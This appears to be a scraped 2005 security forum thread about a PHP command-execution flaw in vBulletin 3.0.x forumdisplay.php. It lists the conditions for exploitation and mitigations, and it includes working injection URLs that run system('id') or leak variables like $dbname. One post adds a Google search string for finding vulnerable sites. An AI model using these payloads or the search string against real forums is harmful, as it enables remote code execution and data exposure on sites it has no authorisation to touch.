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Full disclosure |
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CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
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[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
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CVE-2025-59397 - Open Web Analytics SQL Injection
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11
Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow
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IT Security and Insecurity Portal |
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Vbullettin 3.0.x forumdisplay.php PHP command Execution |
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Posted: Wed Feb 16, 2005 8:41 am |
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Zeelock |
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Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
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AL3NDALEED Founded that within the following conditions:
Quote: |
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ))
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Is it possible to inject code as in the following example:
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id
Or evaluating the value of variables:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname
So if you are a web master:
Solutions:
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* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = ''; |
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Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total _________________ If it seems to be impossible, just step up your level! |
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Posted: Wed Feb 16, 2005 10:38 pm |
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SteX |
Advanced user |

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Joined: May 18, 2004 |
Posts: 181 |
Location: Serbia |
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_________________
We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
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Yep, is the same |
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Posted: Thu Feb 17, 2005 10:06 am |
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Zeelock |
Active user |

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Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
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As you can see is just a GET req the one by AL3NDALEEB.
The problem lays in Magic Quotes. These protect the innocent against this exploit. |
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_________________ If it seems to be impossible, just step up your level! |
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PoC |
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Posted: Thu Feb 17, 2005 11:48 am |
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pokleyzz |
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Joined: Feb 17, 2005 |
Posts: 6 |
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Great Pokleyzz, In tune on Time |
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Posted: Thu Feb 17, 2005 12:57 pm |
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Zeelock |
Active user |

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Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
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Always in time!
I'll test it this evening in my dummy localhost VBullettin Site |
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_________________ If it seems to be impossible, just step up your level! |
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Posted: Thu Feb 17, 2005 8:28 pm |
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LINUX |
Moderator |

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Joined: May 24, 2004 |
Posts: 404 |
Location: Caiman |
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Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable
Code: | * 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum. |
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Posted: Thu Feb 17, 2005 10:53 pm |
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pokleyzz |
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Joined: Feb 17, 2005 |
Posts: 6 |
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Quote: |
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
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searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.
You can create the third condition by login as registered user and view the forum. |
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Posted: Fri Feb 18, 2005 9:41 am |
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Alkaen |
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Joined: Feb 16, 2005 |
Posts: 5 |
Location: Bahrain - Aldair |
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